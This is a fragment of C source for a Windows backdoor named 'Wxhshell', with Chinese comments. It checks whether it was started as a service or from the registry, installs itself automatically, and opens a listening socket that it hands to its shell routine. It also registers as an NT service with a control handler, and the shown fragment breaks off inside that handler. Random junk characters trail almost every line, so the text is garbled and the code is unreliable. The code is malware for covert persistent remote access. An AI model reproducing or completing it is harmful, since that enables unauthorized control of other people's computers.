ULONG InheritedFromUniqueProcessId; d!T,fz/-.
} PROCESS_BASIC_INFORMATION; %K3U`6kHcd
XQ[\K6X5
PROCNTQSIP NtQueryInformationProcess; ] H;E(1iU
@BnK C&{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NVkYm+J#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6<\dQ+~
rMJ@oc
HANDLE hProcess; ~.^:?yCA
PROCESS_BASIC_INFORMATION pbi; m=E/um[D
:kI[Pf!z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \6a' p
Q,
if(NULL == hInst ) return 0; rU9")4sQ
PO'K?hVS^w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lGp:rw`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {~51h}>b#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y9f7~w^s
`UzH *w@e
if (!NtQueryInformationProcess) return 0; C[znUI>
q7aqbkwz}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WLU_t65
if(!hProcess) return 0; *^]
~2hzyEh
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q`J U[nY
9(HGe+R4o
CloseHandle(hProcess);
AX+]Z$
_Fj\0S"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "&D0Sd@[?
if(hProcess==NULL) return 0; |wb_im
H&*&n}vh5y
HMODULE hMod; I&15[:b=-
char procName[255]; }vB{6E+h/w
unsigned long cbNeeded; W^[QEmyn
g$ )0E<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _+)OL-
+ah4 K(+3
CloseHandle(hProcess); YSB> WBS-<
9({ 9 r[U
if(strstr(procName,"services")) return 1; // 以服务启动 ;6 d-+(@
)N^fSenFBn
return 0; // 注册表启动 [8tpU&J
} > (n/
ho^c#>81
// 主模块 `r=^{Y
int StartWxhshell(LPSTR lpCmdLine) 4?(=?0/[
{ (K6vXq.;\\
SOCKET wsl; A6_ER&9$>N
BOOL val=TRUE; |I"&Z+m
int port=0; J
Z@sk2
struct sockaddr_in door; Su,<idS
|,n(9Ix
if(wscfg.ws_autoins) Install(); ~a7@O^q4
\hlS?uD\
port=atoi(lpCmdLine); TGG=9a]m
mg70%=qM0f
if(port<=0) port=wscfg.ws_port; j4@6`[n:
*R4=4e2#S
WSADATA data; .u7grC C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \[]BB5)8
8KR17i1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [=.iJ5,{2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1GR|$E
door.sin_family = AF_INET; &?@U_emLi
door.sin_addr.s_addr = inet_addr("127.0.0.1"); fRk'\jzT
door.sin_port = htons(port); %T<c8w}dP
1M_6X7PH
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [}Rs
closesocket(wsl); .{;RJ:O
return 1; >PdrLwKS
} pkG8g5(w
VWXyN
if(listen(wsl,2) == INVALID_SOCKET) { gQhYM7NP{5
closesocket(wsl); c2GTN "
return 1; k?3mFWc
} qixnaiZ
Wxhshell(wsl); _ !"[Zr
WSACleanup(); buKkm$@w
A;/,</
return 0; 3,#qt}8`
S>HfyZ&Pc
} }{J>kgr6
fWg3gRI
// 以NT服务方式启动 7S=]@*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ryII hQ
{ E'+z.~+
DWORD status = 0; xw~oR|`U
DWORD specificError = 0xfffffff; 4rCw#mVtB
|l|$Q;
serviceStatus.dwServiceType = SERVICE_WIN32; ow,! 7|m
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
NQ '|M
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }DvT6
serviceStatus.dwWin32ExitCode = 0; :W-xsw
serviceStatus.dwServiceSpecificExitCode = 0; $RRh}w\0^
serviceStatus.dwCheckPoint = 0; Ho%%voJBS
serviceStatus.dwWaitHint = 0; @O6
2}F
_!vuDv%
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9j;!4AJ1t
if (hServiceStatusHandle==0) return; 4
;6,h6a
&ML-\aSal
status = GetLastError(); GIkVU6Q}
if (status!=NO_ERROR) '|%\QWuZ
{ u8x#XESR7
serviceStatus.dwCurrentState = SERVICE_STOPPED; yi-)4#YN
serviceStatus.dwCheckPoint = 0; "[_gRe*2
serviceStatus.dwWaitHint = 0; !a%_A^t7
serviceStatus.dwWin32ExitCode = status; JsX}PVuL
serviceStatus.dwServiceSpecificExitCode = specificError; (c3O> *M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); se _Oi$VZ{
return; uqBV KE
} T%PUV \LV
HXB&
6
serviceStatus.dwCurrentState = SERVICE_RUNNING; KpQ@cc
serviceStatus.dwCheckPoint = 0; T}'*Gry
serviceStatus.dwWaitHint = 0; d<cQYI4V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1NN#-U
} &6\E'bBt
A(C0/|#V
// 处理NT服务事件,比如:启动、停止 +I.{y
VOID WINAPI NTServiceHandler(DWORD fdwControl) JVx-4?
{ (3m^@2i
switch(fdwControl) JAmpU^(C
{ </Dv?
case SERVICE_CONTROL_STOP: kf' 4C
"}
serviceStatus.dwWin32ExitCode = 0; 0}>p)k3&A
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6099w0fR`
serviceStatus.dwCheckPoint = 0; ;
jJ%<
serviceStatus.dwWaitHint = 0; py/#h$eY
{ N71%l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k <LFH(
} 7X/B9Hee
return; x)kp*^/
case SERVICE_CONTROL_PAUSE: YO.+06X
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8(:O5#
break; z_$F)*PL
case SERVICE_CONTROL_CONTINUE: .k5&C/jv
serviceStatus.dwCurrentState = SERVICE_RUNNING; S]c&